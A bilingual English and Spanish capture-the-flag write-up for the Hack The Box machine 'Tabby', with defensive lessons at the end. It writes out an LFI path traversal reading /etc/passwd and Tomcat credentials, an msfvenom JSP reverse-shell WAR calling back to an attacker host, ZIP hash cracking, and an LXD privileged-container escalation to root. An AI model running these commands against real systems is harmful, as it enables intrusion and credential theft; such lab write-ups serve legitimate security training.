Tabby
Executive summary — Tabby is an Easy Linux box with a very complete chain: an LFI in
news.phpfirst leaks a system user (ash) and then Tomcat's credentials file; those credentials deploy a malicious WAR on the Manager (RCE); a backup ZIP found on the web server itself is cracked and its password is reused for userash; and sinceashis in thelxdgroup, we escalate to root by building a custom Alpine image on the attacker box and mounting the host filesystem in a privileged container. A LFI → Tomcat WAR → ZIP → LXD → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.22.24 |
Attack map
[80] megahosting.htb/news.php?file= → LFI (path traversal)
│ /etc/passwd → user «ash»
│ tomcat-users.xml → Tomcat Manager credentials
▼
[8080] Tomcat Manager → deploy WAR (JSP reverse shell) → RCE (tomcat)
│ /var/www/html/files/16162020_backup.zip → zip2john + hashcat → «admin@it»
▼
[su ash] reused password → user.txt
│ id → lxd group
▼
[LXD] Alpine image built on the attacker box → privileged container
│ mounts host / at /mnt/root
▼
[ROOT] /mnt/root/root/root.txt
1. Reconnaissance
Full port and service scan:
nmap -p- -sC -sV -n -oA scan 10.129.22.24
-p-: scans all 65535 ports.-sC: Nmap's default scripts.-sV: version detection.-n: skip DNS resolution.-oA scan: saves the output in all three formats asscan.
22/tcp open ssh
80/tcp open http Apache
8080/tcp open http Apache Tomcat
Port 8080 is the interesting one: it exposes an Apache Tomcat, which ends up being the initial access vector.
Resumen ejecutivo — Tabby es un Linux Easy con una cadena muy completa: una LFI en
news.phpfiltra primero el usuario del sistema (ash) y después el fichero de credenciales de Tomcat; con esas credenciales se despliega un WAR malicioso en el Manager (RCE); un backup ZIP encontrado en el propio servidor web se craquea y su contraseña se reutiliza para el usuarioash; y comoashestá en el grupolxd, se escala a root construyendo una imagen Alpine a medida en la máquina atacante y montando el filesystem del host en un contenedor privilegiado. Recorrido LFI → Tomcat WAR → ZIP → LXD → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.22.24 |
Mapa del ataque
[80] megahosting.htb/news.php?file= → LFI (path traversal)
│ /etc/passwd → usuario «ash»
│ tomcat-users.xml → credenciales del Tomcat Manager
▼
[8080] Tomcat Manager → deploy de WAR (JSP reverse shell) → RCE (tomcat)
│ /var/www/html/files/16162020_backup.zip → zip2john + hashcat → «admin@it»
▼
[su ash] contraseña reutilizada → user.txt
│ id → grupo lxd
▼
[LXD] imagen Alpine construida en el atacante → contenedor privilegiado
│ monta / del host en /mnt/root
▼
[ROOT] /mnt/root/root/root.txt
1. Reconocimiento
Escaneo completo de puertos y servicios:
nmap -p- -sC -sV -n -oA scan 10.129.22.24
-p-: escanea los 65535 puertos.-sC: scripts por defecto de Nmap.-sV: detección de versiones.-n: sin resolución DNS.-oA scan: guarda la salida en los tres formatos con el nombrescan.
22/tcp open ssh
80/tcp open http Apache
8080/tcp open http Apache Tomcat
El puerto 8080 es el más interesante: expone un Apache Tomcat, que acaba siendo la vía de acceso inicial.
2. LFI → system user
The port 80 site references the domain megahosting.htb, so we add it to our local /etc/hosts:
echo "10.129.22.24 megahosting.htb" | sudo tee -a /etc/hosts
Browsing the site reveals news.php?file=statement, a classic LFI (Local File Inclusion) pattern: the file parameter includes a system resource without validating the path. We confirm it with a classic path traversal against /etc/passwd:
curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"
The inclusion works, and among the system accounts we spot one that isn't a standard system account: ash. That detail directly shapes the later lateral movement.
3. Tomcat Manager — from the LFI to credentials
Why: since
file=lets us read any path the web process can access, the next logical target is Tomcat's configuration (port 8080), where the Manager users live:
curl "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
tomcat : $3cureP4s5w0rd123!
Those credentials authenticate against the Tomcat Manager and allow deploying applications — the standard RCE vector on Tomcat.
4. RCE — deploying a malicious WAR
The right payload is a Java/JSP reverse shell, since Tomcat runs Java applications packaged as WAR files (a generic Linux payload wouldn't work here):
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war -o shell.war
We start the listener and upload the WAR to the Manager using the credentials we found:
nc -lvnp 4444
curl -u 'tomcat:$3cureP4s5w0rd123!' -T shell.war \
"http://10.129.22.24:8080/manager/text/deploy?path=/shell"
OK - Deployed application at context path [/shell]
We trigger the payload by hitting the deployed application:
curl http://10.129.22.24:8080/shell/
whoami → tomcat
We stabilize the shell to work comfortably (needed for su later on):
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
5. From the backup ZIP to ash (crack + reuse)
Already as tomcat, the web server's own directory has a password-protected backup:
cd /var/www/html/files
ls
16162020_backup.zip
Instead of trying to crack it on the target, we pull it to the attacker box and crack it there:
zip2john 16162020_backup.zip > hash
hashcat -m 17225 hash /usr/share/wordlists/rockyou.txt
admin@it
Reuse: that password works for the
ashuser we already found via the LFI:
su ash
# Password: admin@it
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),...,116(lxd)
Access confirmed as ash: user.txt is already reachable, and membership in the lxd group marks the road to root.
6. Escalation — lxd group
Why the
lxdgroup equals root: whoever can manage LXD containers can launch a privileged one with the host filesystem mounted inside. Inside the container you're root, and with the host's real root mounted, you control the whole system.
The target had no useful outbound internet access to download images directly, and building the image by hand on the box itself ran into format issues. The reliable path was preparing the Alpine image on the attacker machine with lxd-alpine-builder and uploading it already built:
# on the attacker
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000
alpine-v3.23-x86_64-20260420_1301.tar.gz
We download the pre-built tarball on the target (into /dev/shm, which is writable) and import it with lxc (installed via snap, hence the full binary path):
cd /dev/shm
wget http://<ATTACKER_IP>:8000/alpine-v3.23-x86_64-20260420_1301.tar.gz
/snap/bin/lxc image import alpine-v3.23-x86_64-20260420_1301.tar.gz --alias robert
Watch out: if
lxcalready has a storage pool and bridge configured (as it did here), re-runninglxd inittriggers a useless loop of prompts — LXD is already set up and doesn't need reinitializing.
With the image imported, we create a privileged container and mount the host's root into it:
/snap/bin/lxc init robert robertcontenedor -c security.privileged=true
/snap/bin/lxc config device add robertcontenedor host-root disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start robertcontenedor
/snap/bin/lxc exec robertcontenedor /bin/sh
id
uid=0(root) ...
Root inside the container and, with the host mounted at /mnt/root, root outside of it too:
cd /mnt/root/root
cat root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | news.php | LFI (file=) → /etc/passwd and tomcat-users.xml | System user + Tomcat credentials |
| Foothold | Apache Tomcat Manager | Authenticated WAR deployment | RCE as tomcat |
| Lateral | Backup ZIP in /var/www/html/files | Crackable ZIP + password reused by ash | User ash |
| PrivEsc | lxd group | Privileged container with host mounted | Root |
Lessons learned
- LFI is a config leak: sanitise file includes; don't allow user-controlled paths, whether in your own app or in integrations with services like Tomcat.
- Don't expose the Tomcat Manager or leave
tomcat-users.xmlreachable from another vulnerability on the same box. - Don't leave weak-password backups in directories served by the web server; they get cracked and, if reused, compromise real accounts.
- The
lxdgroup is root-equivalent. Don't add users to it without a real need to manage containers. - When the target has no outbound internet access, building the artifact (LXD image, binary, etc.) on the attacker box and serving it over HTTP is more reliable than generating it in place.
2. LFI → usuario del sistema
El sitio del puerto 80 referencia el dominio megahosting.htb, así que lo añadimos al /etc/hosts local:
echo "10.129.22.24 megahosting.htb" | sudo tee -a /etc/hosts
Revisando la web aparece news.php?file=statement, un patrón típico de LFI (Local File Inclusion): el parámetro file incluye un recurso del sistema sin validar la ruta. Lo confirmamos con un path traversal clásico contra /etc/passwd:
curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"
La inclusión funciona y entre las cuentas del sistema aparece un usuario que no es de sistema estándar: ash. Ese dato orienta directamente el movimiento lateral posterior.
3. Tomcat Manager — de la LFI a las credenciales
Por qué: ya que el
file=permite leer cualquier ruta legible por el proceso web, el siguiente objetivo lógico es la configuración de Tomcat (puerto 8080), donde viven los usuarios del Manager:
curl "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
tomcat : $3cureP4s5w0rd123!
Esas credenciales autentican contra el Tomcat Manager y permiten desplegar aplicaciones — la vía habitual de RCE en Tomcat.
4. RCE — desplegar un WAR malicioso
El payload correcto es una reverse shell Java/JSP, porque Tomcat ejecuta aplicaciones Java empaquetadas como WAR (un payload Linux genérico no serviría aquí):
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war -o shell.war
Levantamos el listener y subimos el WAR al Manager con las credenciales encontradas:
nc -lvnp 4444
curl -u 'tomcat:$3cureP4s5w0rd123!' -T shell.war \
"http://10.129.22.24:8080/manager/text/deploy?path=/shell"
OK - Deployed application at context path [/shell]
Disparamos el payload visitando la aplicación desplegada:
curl http://10.129.22.24:8080/shell/
whoami → tomcat
Estabilizamos la shell para trabajar con comodidad (necesario para su más adelante):
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
5. Del backup ZIP a ash (crackeo + reutilización)
Ya como tomcat, en el directorio del servidor web aparece un backup con contraseña:
cd /var/www/html/files
ls
16162020_backup.zip
En vez de intentar crackearlo en la víctima, lo llevamos al atacante y lo craqueamos ahí:
zip2john 16162020_backup.zip > hash
hashcat -m 17225 hash /usr/share/wordlists/rockyou.txt
admin@it
Reutilización: esa contraseña vale para el usuario
ashque ya habíamos localizado por la LFI:
su ash
# Password: admin@it
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),...,116(lxd)
Acceso confirmado como ash: user.txt ya es alcanzable, y la pertenencia al grupo lxd marca el camino a root.
6. Escalada — grupo lxd
Por qué el grupo
lxdequivale a root: quien puede gestionar contenedores LXD puede lanzar uno privilegiado con el filesystem del host montado dentro. Dentro del contenedor eres root y, al tener montada la raíz real del host, controlas todo el sistema.
La víctima no tenía salida a internet útil para descargar imágenes directamente, y construir la imagen a mano dentro de la propia máquina dio problemas de formato. La vía fiable fue preparar la imagen Alpine en la máquina atacante con lxd-alpine-builder y subirla ya construida:
# en el atacante
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000
alpine-v3.23-x86_64-20260420_1301.tar.gz
Descargamos el tarball ya construido en la víctima (en /dev/shm, con permisos de escritura) y lo importamos con lxc (instalado vía snap, de ahí la ruta completa al binario):
cd /dev/shm
wget http://<ATTACKER_IP>:8000/alpine-v3.23-x86_64-20260420_1301.tar.gz
/snap/bin/lxc image import alpine-v3.23-x86_64-20260420_1301.tar.gz --alias robert
Cuidado: si
lxcya tiene storage pool y bridge configurados (como en esta máquina), volver a lanzarlxd initgenera un bucle de preguntas inútil — LXD ya está listo para usarse, no hace falta reinicializarlo.
Con la imagen importada, creamos un contenedor privilegiado y le montamos la raíz del host:
/snap/bin/lxc init robert robertcontenedor -c security.privileged=true
/snap/bin/lxc config device add robertcontenedor host-root disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start robertcontenedor
/snap/bin/lxc exec robertcontenedor /bin/sh
id
uid=0(root) ...
Root dentro del contenedor y, con el host montado en /mnt/root, root también fuera de él:
cd /mnt/root/root
cat root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | news.php | LFI (file=) → /etc/passwd y tomcat-users.xml | Usuario del sistema + credenciales de Tomcat |
| Foothold | Apache Tomcat Manager | Despliegue de WAR autenticado | RCE como tomcat |
| Mov. lateral | Backup ZIP en /var/www/html/files | ZIP crackeable + contraseña reutilizada por ash | Usuario ash |
| PrivEsc | Grupo lxd | Contenedor privilegiado con el host montado | Root |
Lecciones aprendidas
- LFI = fuga de configuración: sanea las inclusiones de ficheros; no dejes rutas controlables por el usuario, ni en apps propias ni en integraciones con servicios como Tomcat.
- No expongas el Tomcat Manager ni dejes
tomcat-users.xmlaccesible desde otra vulnerabilidad de la misma máquina. - No dejes backups con contraseñas débiles en directorios servidos por el web server; se craquean y, si se reutilizan, comprometen cuentas reales.
- El grupo
lxdes equivalente a root. No metas usuarios ahí sin necesidad real de gestionar contenedores. - Cuando la víctima no tiene salida a internet, construir el artefacto (imagen LXD, binario, etc.) en la propia máquina atacante y servirlo por HTTP es más fiable que intentar generarlo in situ.